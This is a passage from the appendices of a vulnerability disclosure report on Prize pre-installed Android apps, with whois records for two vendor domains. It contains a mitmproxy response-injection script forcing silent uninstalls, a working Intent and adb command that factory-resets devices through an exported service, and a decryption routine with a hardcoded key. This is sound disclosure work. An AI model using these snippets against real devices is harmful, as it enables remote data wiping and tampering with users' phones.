                'serverTimeStamp': timestamp, # long
                'planList': [ # Ljava/util/List;<Lcom/pri/app/beans/PullPlan;>
                    { # Lcom/pri/app/beans/PullPlan;
                        'clientStatus': 1, # int
                        'conditionClient': condition_client, # json string (Lcom/pri/app/beans/ConditionClient;)
                        'endTime': "2025-12-12 12:12:12", # string
                        'groupId': int_val, # int
                        'id': int_val, # int
                        'istatus': 1, # int
                        'msgId': int_val, # int
                        'msgType': "uninstall", # string
                        'preGroupId': int_val, # int
                        'preId': int_val, # int
                        'startTime': "2024-10-10 09:11:38", # string
                        'timeStamp': timestamp, # long
                        "uiType": "silent", # string
                    }
                ],
                'serverTimeStamp': timestamp,
            },
            'msg': 'OK'
```

```
        }

        flow.response = http.Response.make(
            200,
        json.dumps(planlist_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")

# kill flow if an exception happens so it doesn't request the original URL
except Exception as e:
    logging.critical(f"Killing flow for {flow.request.pretty_url} due to {e}")
    logging.critical(traceback.format_exc().rstrip())
    flow.kill()
```

Appendix D. Additional Factory Reset Vulnerability Details

The "`PriLauncher`" app discussed throughout this report appears to be developed by the company called "Prize". In addition to the "`PriLauncher`" app, most of the Android devices we examined contained additional pre-installed apps developed by Prize. Of particular note is the "`PriFactoryTest`" pre-installed app with a package name of "`com.pri.factorytest`". This app is a typical factory/engineering app that allows various hardware/software functionalities to be tested from a centralized location. As is usually the case with factory/engineering apps, this

app executes with "system" shared UID, enabling it to programmatically perform various actions without user consent or awareness.

The "com.pri.factorytest/.emmc.FactoryResetService" service component, which is explicitly exported by the "PriFactoryTest" app, can be used by co-located apps to programmatically initiate a factory reset operation that wipes the user's data, apps, and settings. The service component's declaration from the app's "AndroidManifest.xml" file is provided below.

```
<service android:exported="true" android:name="com.pri.factorytest.emmc.FactoryResetService"/>
```

The Java source code for the "com.pri.factorytest/.emmc.FactoryResetService" service component, as produced by the JADX tool, is provided below.

```
package com.pri.factorytest.emmc;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.os.PowerManager;
import android.util.Log;

/* loaded from: classes3.dex */
public class FactoryResetService extends Service {

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override // android.app.Service
    public void onCreate() {
        Log.d("tangan", "FactoryResetService onCreate");
        PowerManager pm = (PowerManager) getSystemService("power");
        PowerManager.WakeLock wakeLock = pm.newWakeLock(268435482, "TAG");
        wakeLock.acquire(1000L);
        Intent clearIntent = new Intent("android.intent.action.FACTORY_RESET");
        clearIntent.addFlags(268435456);
        clearIntent.setPackage("android");
        clearIntent.putExtra("android.intent.extra.REASON", "MasterClearConfirm");
        clearIntent.putExtra("android.intent.extra.WIPE_EXTERNAL_STORAGE", false);
        clearIntent.putExtra("com.android.internal.intent.extra.WIPE_ESIMS", false);
        sendBroadcast(clearIntent);
        super.onCreate();
    }
}
```

The "com.pri.factorytest/.emmc.FactoryResetService" service component, when started via an "Intent" object, independent of its contents, broadcasts the "android.intent.action.FACTORY_RESET" action in an "Intent" with various extras to the Android Framework (package name of "android") to programmatically initiate a factory reset operation, although external storage and any eSIMs will not be erased based on the extras in the "Intent". Despite the "android.intent.extra.WIPE_EXTERNAL_STORAGE" extra being set to a value of "false", the contents of external storage (i.e., "/sdcard") was still erased during our testing. We did not test to determine if eSIMs were retained or deleted after a factory reset operation.

Locally exposing this component to external apps is insecure as it allows any co-located, third-party app to programmatically initiate a factory reset without any permission requirements or special privileges. An app must possess the "android.permission.MASTER_CLEAR" permission to perform this operation directly, which according to the official documentation is "*not for use by third-party applications.*"[39] Leveraging the vulnerabilities in the

[39] https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-15.0.0_r1/core/res/AndroidManifest.xml#6512

"PriLauncher" app, a remote adversary could use MITM attacks to remotely install an app, set the app as a widget (so that it executes), and then have the newly-installed app send an "Intent" to the "com.pri.factorytest/.emmc.FactoryResetService" service component to remotely wipe the device.

The source code snippet below allows a third-party app to send an "Intent" to the "com.pri.factorytest/.emmc.FactoryResetService" service component so that it will initiate a factory reset. *Please execute the following code snippet with caution!*

```
Intent intent = new Intent();
intent.setClassName("com.pri.factorytest", "com.pri.factorytest.emmc.FactoryResetService");
startService(intent);
```

Alternatively, the "adb shell am start-service -n com.pri.factorytest/.emmc.FactoryResetService" ADB command can be used to start the "com.pri.factorytest/.emmc.FactoryResetService" service component. *Please execute the preceding ADB command with caution!*

Appendix E. Java Routine for Decrypting URLs Handling Task and Configuration Management.

```
private void decrypt_tasks_and_conf_url_request() throws Exception {
   // replace "task_request_body" and/or "conf_request_body" variable value
   String task_request_body =
"H4sIAAAAAAAAAAGiAl39o0SeYeFP35IWF6rV0HT/eFffmFEcZ4TKxvUDU1foMbXGCyRWcMsFfCXn4EaBtogZPCyqOY2T102cViBLxF/31TarurOivm6C4
d3sXoutAiDB6kFCEoJTA/OoU8ZCsdksZM7qcAZelP2xfDJo+AVKTohhFDH+wdsmjhj3+kNJX1kfFYzddz/3I0v+S0BL7ZDpSXJ7UuvW+uIwVGxiFhkHdhH
WdysySh2GLLgETAmSTkt2kru8x2Y0LTSRar+Z7sIwAU54uWk2wMyTkyZ5026vpgSIK7JJy+yxDn8wl7BZeOkQhhABdCcPX75MuTpoDZ0dflYtuY4LACvIf
wXfYixMkgAmqpkk+Nc5TLD9zmWmqAqKjVWCc1w/6zJkQyRjGb8u6TZDiQg1/mqoV2uGiQxhvxQyRse/SjEOhysVKNiZSEA9MxN823LU+RAam5hiNXSO9W9
1d/Z6blexHyODkKrO3OyDJplqrO5Paf6q/P3sxPJqxIzuZob0DOzoJVuaNCHHDGSSNCmF16OgFu6CqMCY4qsI3aTkKeHvdSgd/MkbEV4DNftTvSuTfeXhb
/yqtEAubOgCKkia+QVcxCxTpmnq8U2GduNmt7mDmc3D0EQqIrVudY0wBHXuQggUqbjFt1aUmgriMb8At36CrdxdTGh8mv1v+lpXrBJOdyCurCbjEzALQFF
```

```
ikdyIaL70QUxa+sCI0AGg+n9oIjG/SCPPGjzuFwP1/MsrdBGf1MIIrmsW91vf6X7easZdcB+77ATz5ngVGuOvNrnfmA7h05bKxjIxCG3wxLkzJQcs2X7fy
ojW59I3g7WnHr1lxywFb0X+s76mrvPvnGKqNwN1dSyjX/9bBbZYLXrTJfwZQiEE1ZlsP43gqRPmHuyzyOK4wsqZ53jz8ZPCgdYhogIAAA==";
   //String conf_request_body =
"H4sIAAAAAAAAAAGVAmr9o0SeYeFP35IWF6rV0HT/eFffmFEcZ4TKxvUDU1foMbXGCyRWcMsFfCXn4EaBtogZPCyqOY2T102cViBLxF/31TarurOivm6C4
d3sXoutAiDB6kFCEoJTA/OoU8ZCsdksZM7qcAZelP2xfDJo+AVKTohhFDH+wdsmjhj3+kNJX1kfFYzddz/3I0v+S0BL7ZDpSXJ7UuvW+uIwVGxiFhkHdhH
WdysySh2GLLgETAmSTkt2kru8x2Y0LTSRar+Z7sIwAU54uWk2wMyTkyZ5026vpgSIK7JJy+yxDn8wl7BZeOkQhhABdCcPX75MuTpoDZ0dflYtuY4LACvIf
wXfYixMkgAmqpkk+Nc5TLD9zmWmqAqKjVWCc1w/6zJkQyRjGb8u6TZDiQg1/mqoV2uGiQxhvxQyRse/SjEOhysVKNiZSEA9MxN823LU+RAam5hiNXSO9W9
1d/Z6blexHyODkKrO3OyDJplqrO5Paf6q/P3sxPJqxIzuZob0DOzoJVuaNCHHDGSSNCmF16OgFu6CqMCY4qsI3aTkKeHvdSgd/MkbEV4DNftTvSuTfeXhb
/yqtEAubOgCKkia+QVcxCxTpmnq8U2GduNmt7mDmc3D0EQqIrVudY0wBHXuQggUqbjFt1aUmgriMb8At36CrdxdTGh8mv1v+lpXrBJOdyCurCbjEzALQFF
ikdyIaL70QUxa+sCI0AGg+n9oIjG/SCPPGjzuFwP1/MsrdBGf1MIIrmsW91vf6X7easZdcB+77ATz5ngVGuOvNrnfmA7h05bKxjIxCG3wxLkzJQcs2X7fy
ojW59I3g7WnHr1lxywFb0X+s76mrvPvnGKqNwN1dSyjX/9bBbZYLXrTJfwZQiEE1ZlsP43gqRPmT3Kq93OVAgAA";
   String key = "ota.api.d3b194c07b63d688969c258719ca3f0f";
   byte[] base64_decoded_ciphertext = Base64.decode(task_request_body, 2);
   byte[] decompressed_base64_decoded_ciphertext = decompressInternal(base64_decoded_ciphertext);
   byte[] plaintext_bytes = decrypt(decompressed_base64_decoded_ciphertext, key);
   String plaintext = new String(plaintext_bytes);
   Log.i(TAG, "plaintext=" + plaintext);
}

public static byte[] decrypt(byte[] bArr, String str) throws Exception {
   byte[] digest = MessageDigest.getInstance("MD5").digest(str.getBytes(StandardCharsets.UTF_8));
   byte[] IV = {48, 49, 48, 50, 48, 51, 48, 52, 48, 53, 48, 54, 48, 55, 48, 56};
   IvParameterSpec ivParameterSpec = new IvParameterSpec(IV);
   SecretKeySpec secretKeySpec = new SecretKeySpec(digest, "AESUtils");
   Cipher cipher = Cipher.getInstance("AES/CFB/NoPadding");
   cipher.init(2, secretKeySpec, ivParameterSpec);
   return cipher.doFinal(bArr);
}

private static byte[] decompressInternal(byte[] bArr) throws Exception {
   ByteArrayOutputStream byteArrayOutputStream = null;
   ByteArrayInputStream byteArrayInputStream = null;
   try {
       byte[] bArr2 = new byte[1024];
       byteArrayOutputStream = new ByteArrayOutputStream();
       try {
           byteArrayInputStream = new ByteArrayInputStream(bArr);
           try {
               GZIPInputStream gZIPInputStream2 = new GZIPInputStream(byteArrayInputStream);
               while (true) {
                   try {
                       int read = gZIPInputStream2.read(bArr2);
                       if (read > 0) {
                           byteArrayOutputStream.write(bArr2, 0, read);
                       } else {
                           byte[] byteArray = byteArrayOutputStream.toByteArray();
                           if (gZIPInputStream2 != null)
                               gZIPInputStream2.close();
                           if (byteArrayInputStream != null)
                               byteArrayInputStream.close();
                           if (byteArrayOutputStream != null)
                               byteArrayOutputStream.close();

                           return byteArray;
                       }
                   } catch (Throwable th) {
                       if (gZIPInputStream2 != null)
                           gZIPInputStream2.close();
                       if (byteArrayInputStream != null)
                           byteArrayInputStream.close();
                       if (byteArrayOutputStream != null)
                           byteArrayOutputStream.close();
                   }
               }
           } catch (Throwable th2) {
           }
       } catch (Throwable th3) {
           byteArrayInputStream = null;
       }
   } catch (Throwable th4) {
       byteArrayOutputStream = null;
       byteArrayInputStream = null;
   }
```

```
    return null;
}
```

Appendix F. The "whois" Command Output for the "szprize.com" Domain.

```
% whois szprize.com
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

refer:        whois.verisign-grs.com

domain:       COM

organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
```

```
address:      Reston VA 20190
address:      United States of America (the)

contact:      administrative
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

contact:      technical
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

nserver:      A.GTLD-SERVERS.NET 192.5.6.30 2001:503:a83e:0:0:0:2:30
nserver:      B.GTLD-SERVERS.NET 192.33.14.30 2001:503:231d:0:0:0:2:30
nserver:      C.GTLD-SERVERS.NET 192.26.92.30 2001:503:83eb:0:0:0:0:30
nserver:      D.GTLD-SERVERS.NET 192.31.80.30 2001:500:856e:0:0:0:0:30
nserver:      E.GTLD-SERVERS.NET 192.12.94.30 2001:502:1ca1:0:0:0:0:30
nserver:      F.GTLD-SERVERS.NET 192.35.51.30 2001:503:d414:0:0:0:0:30
nserver:      G.GTLD-SERVERS.NET 192.42.93.30 2001:503:eea3:0:0:0:0:30
nserver:      H.GTLD-SERVERS.NET 192.54.112.30 2001:502:8cc:0:0:0:0:30
nserver:      I.GTLD-SERVERS.NET 192.43.172.30 2001:503:39c1:0:0:0:0:30
nserver:      J.GTLD-SERVERS.NET 192.48.79.30 2001:502:7094:0:0:0:0:30
nserver:      K.GTLD-SERVERS.NET 192.52.178.30 2001:503:d2d:0:0:0:0:30
nserver:      L.GTLD-SERVERS.NET 192.41.162.30 2001:500:d937:0:0:0:0:30
nserver:      M.GTLD-SERVERS.NET 192.55.83.30 2001:501:b1f9:0:0:0:0:30
ds-rdata:     19718 13 2 8acbb0cd28f41250a80a491389424d341522d946b0da0c0291f2d3d771d7805a

whois:        whois.verisign-grs.com

status:       ACTIVE
remarks:      Registration information: http://www.verisigninc.com

created:      1985-01-01
changed:      2023-12-07
source:       IANA

# whois.verisign-grs.com

   Domain Name: SZPRIZE.COM
   Registry Domain ID: 1919610783_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.oray.com
   Registrar URL: http://www.oray.com
   Updated Date: 2025-04-01T12:50:05Z
   Creation Date: 2015-04-14T09:06:07Z
   Registry Expiry Date: 2030-04-14T09:06:07Z
   Registrar: Shanghai Best Oray Information S&T Co., Ltd.
   Registrar IANA ID: 1518
   Registrar Abuse Contact Email: domain@oray.com
   Registrar Abuse Contact Phone: +86.4006010000
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Name Server: NS1.ORAY.NET
   Name Server: NS2.ORAY.NET
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-04-24T17:19:06Z <<<

# whois.oray.com

Domain Name: szprize.com
Registry Domain ID: 125450
Registrar WHOIS Server: whois.oray.com
Registrar URL: https://www.oray.com
```

```
Updated Date: 2025-04-01T12:50:05Z
Creation Date: 2015-04-14T09:06:07Z
Registrar Registration Expiration Date: 2030-04-14T09:06:07Z
Registrar: SHANGHAI BEST ORAY INFORMATION S&T CO., LTD.
Registrar IANA ID: 1518
Registrar Abuse Contact Email: ken@oray.com
Registrar Abuse Contact Phone: +86.2062219000
Reseller:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province:  GuangDongSheng
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country:  CN
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext: REDACTED FOR PRIVACY
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext: REDACTED FOR PRIVACY
Registrant Email: https://domain.oray.com/whois/whoisform?domain=szprize.com
Registry Admin ID: REDACTED FOR PRIVACY
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext: REDACTED FOR PRIVACY
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext: REDACTED FOR PRIVACY
Admin Email: https://domain.oray.com/whois/whoisform?domain=szprize.com
Registry Tech ID: REDACTED FOR PRIVACY
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext: REDACTED FOR PRIVACY
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext: REDACTED FOR PRIVACY
Tech Email: https://domain.oray.com/whois/whoisform?domain=szprize.com
Name Server: ns1.oray.net
Name Server: ns2.oray.net
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2025-04-01T12:50:05Z <<<
```

Appendix G. The "whois" Command Output for the "hwprize.com" Domain.

```
% whois hwprize.com
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

refer:        whois.verisign-grs.com

domain:       COM

organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
```

```
contact:      administrative
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

contact:      technical
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

nserver:      A.GTLD-SERVERS.NET 192.5.6.30 2001:503:a83e:0:0:0:2:30
nserver:      B.GTLD-SERVERS.NET 192.33.14.30 2001:503:231d:0:0:0:2:30
nserver:      C.GTLD-SERVERS.NET 192.26.92.30 2001:503:83eb:0:0:0:0:30
nserver:      D.GTLD-SERVERS.NET 192.31.80.30 2001:500:856e:0:0:0:0:30
nserver:      E.GTLD-SERVERS.NET 192.12.94.30 2001:502:1ca1:0:0:0:0:30
nserver:      F.GTLD-SERVERS.NET 192.35.51.30 2001:503:d414:0:0:0:0:30
nserver:      G.GTLD-SERVERS.NET 192.42.93.30 2001:503:eea3:0:0:0:0:30
nserver:      H.GTLD-SERVERS.NET 192.54.112.30 2001:502:8cc:0:0:0:0:30
nserver:      I.GTLD-SERVERS.NET 192.43.172.30 2001:503:39c1:0:0:0:0:30
nserver:      J.GTLD-SERVERS.NET 192.48.79.30 2001:502:7094:0:0:0:0:30
nserver:      K.GTLD-SERVERS.NET 192.52.178.30 2001:503:d2d:0:0:0:0:30
nserver:      L.GTLD-SERVERS.NET 192.41.162.30 2001:500:d937:0:0:0:0:30
nserver:      M.GTLD-SERVERS.NET 192.55.83.30 2001:501:b1f9:0:0:0:0:30
ds-rdata:     19718 13 2 8acbb0cd28f41250a80a491389424d341522d946b0da0c0291f2d3d771d7805a

whois:        whois.verisign-grs.com

status:       ACTIVE
remarks:      Registration information: http://www.verisigninc.com

created:      1985-01-01
changed:      2023-12-07
source:       IANA

# whois.verisign-grs.com

   Domain Name: HWPRIZE.COM
   Registry Domain ID: 2565938030_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.registrar.amazon.com
   Registrar URL: http://registrar.amazon.com
   Updated Date: 2024-09-10T22:21:08Z
   Creation Date: 2020-10-15T03:22:27Z
   Registry Expiry Date: 2025-10-15T03:22:27Z
   Registrar: Amazon Registrar, Inc.
   Registrar IANA ID: 468
   Registrar Abuse Contact Email: trustandsafety@support.aws.com
   Registrar Abuse Contact Phone: +1.2024422253
   Domain Status: ok https://icann.org/epp#ok
   Name Server: NS-1497.AWSDNS-59.ORG
   Name Server: NS-1824.AWSDNS-36.CO.UK
   Name Server: NS-508.AWSDNS-63.COM
   Name Server: NS-880.AWSDNS-46.NET
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-04-24T17:16:04Z <<<

# whois.registrar.amazon.com

Domain Name: hwprize.com
Registry Domain ID: 2565938030_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.amazon
Registrar URL: https://registrar.amazon.com
Updated Date: 2024-09-10T22:21:08Z
```

```
Creation Date: 2020-10-15T03:22:27Z
Registrar Registration Expiration Date: 2025-10-15T03:22:27Z
Registrar: Amazon Registrar, Inc.
Registrar IANA ID: 468
Registrar Abuse Contact Email: trustandsafety@support.aws.com
Registrar Abuse Contact Phone: +1.2024422253
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID: Not Available From Registry
Registrant Name: On behalf of hwprize.com owner
Registrant Organization: Identity Protection Service
Registrant Street: PO Box 786
Registrant City: Hayes
Registrant State/Province: Middlesex
Registrant Postal Code: UB3 9TR
Registrant Country: GB
Registrant Phone: +44.1483307527
Registrant Phone Ext:
Registrant Fax: +44.1483304031
Registrant Fax Ext:
Registrant Email: 03d635ba-7785-4ae5-a5bb-d82684d9e543@identity-protect.org
Registry Tech ID: Not Available From Registry
Tech Name: On behalf of hwprize.com owner
Tech Organization: Identity Protection Service
Tech Street: PO Box 786
Tech City: Hayes
Tech State/Province: Middlesex
Tech Postal Code: UB3 9TR
Tech Country: GB
Tech Phone: +44.1483307527
Tech Phone Ext:
Tech Fax: +44.1483304031
Tech Fax Ext:
Tech Email: 03d635ba-7785-4ae5-a5bb-d82684d9e543@identity-protect.org
Name Server: NS-508.AWSDNS-63.COM
Name Server: NS-880.AWSDNS-46.NET
Name Server: NS-1824.AWSDNS-36.CO.UK
Name Server: NS-1497.AWSDNS-59.ORG
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2025-04-24T17:16:23Z <<<

# whois.registrar.amazon

Domain Name: hwprize.com
Registry Domain ID: 2565938030_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.amazon
Registrar URL: https://registrar.amazon.com
Updated Date: 2024-09-10T22:21:08Z
Creation Date: 2020-10-15T03:22:27Z
Registrar Registration Expiration Date: 2025-10-15T03:22:27Z
Registrar: Amazon Registrar, Inc.
Registrar IANA ID: 468
Registrar Abuse Contact Email: trustandsafety@support.aws.com
Registrar Abuse Contact Phone: +1.2024422253
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID: Not Available From Registry
Registrant Name: On behalf of hwprize.com owner
Registrant Organization: Identity Protection Service
Registrant Street: PO Box 786
Registrant City: Hayes
Registrant State/Province: Middlesex
Registrant Postal Code: UB3 9TR
Registrant Country: GB
Registrant Phone: +44.1483307527
Registrant Phone Ext:
Registrant Fax: +44.1483304031
Registrant Fax Ext:
Registrant Email: 03d635ba-7785-4ae5-a5bb-d82684d9e543@identity-protect.org
Registry Tech ID: Not Available From Registry
Tech Name: On behalf of hwprize.com owner
Tech Organization: Identity Protection Service
Tech Street: PO Box 786
Tech City: Hayes
Tech State/Province: Middlesex
```


```
Tech Postal Code: UB3 9TR
Tech Country: GB
Tech Phone: +44.1483307527
Tech Phone Ext:
Tech Fax: +44.1483304031
Tech Fax Ext:
Tech Email: 03d635ba-7785-4ae5-a5bb-d82684d9e543@identity-protect.org
Name Server: NS-508.AWSDNS-63.COM
Name Server: NS-880.AWSDNS-46.NET
Name Server: NS-1824.AWSDNS-36.CO.UK
Name Server: NS-1497.AWSDNS-59.ORG
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2025-04-24T17:16:23Z <<<
```